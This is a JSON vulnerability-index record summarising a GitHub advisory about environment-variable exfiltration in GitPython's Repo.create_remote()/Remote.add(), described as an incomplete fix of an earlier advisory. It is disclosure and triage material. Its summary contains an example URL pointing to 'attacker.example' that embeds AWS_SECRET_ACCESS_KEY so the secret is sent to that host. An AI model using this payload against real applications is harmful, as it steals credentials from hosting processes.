{"items":[{"id":"NVI-00012952","kind":"vulnerability","title":"GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-94p4-4cq8-9g67"],"plain_summary":"GitHub lists this reviewed advisory for GitPython. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-1ce11fec8a8a217034bb68bd8efce651"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-09-24T14:39:22.000Z","value":"7.5 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-1ce11fec8a8a217034bb68bd8efce651"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-1ce11fec8a8a217034bb68bd8efce651","url":"https://github.com/advisories/GHSA-94p4-4cq8-9g67","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-94p4-4cq8-9g67","publisher":"GitHub Advisory Database","observed_at":"2026-11-01T07:25:10.521Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-1ce11fec8a8a217034bb68bd8efce651"],"technology":"GitPython","known_exclusions":[],"conditions_summary":"## Summary\n\nThe fix for GHSA-rwj8-pgh3-r573 stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same \"import repository from URL\" threat model the advisory describes, via the sibling caller the fix missed.\n\n## Root Cause\n\nFix commit `8ac5a305` added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPyt","public_affected_ranges":["< 3.1.55"]}],"null_published_at":"2026-11-01T07:29:12.904Z","source_updated_at":"2026-09-24T14:39:22.000Z","source_disclosed_at":"2026-07-24T21:45:16.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-01T07:25:10.521Z"}],"next_cursor":null,"snapshot_revision":"42594"}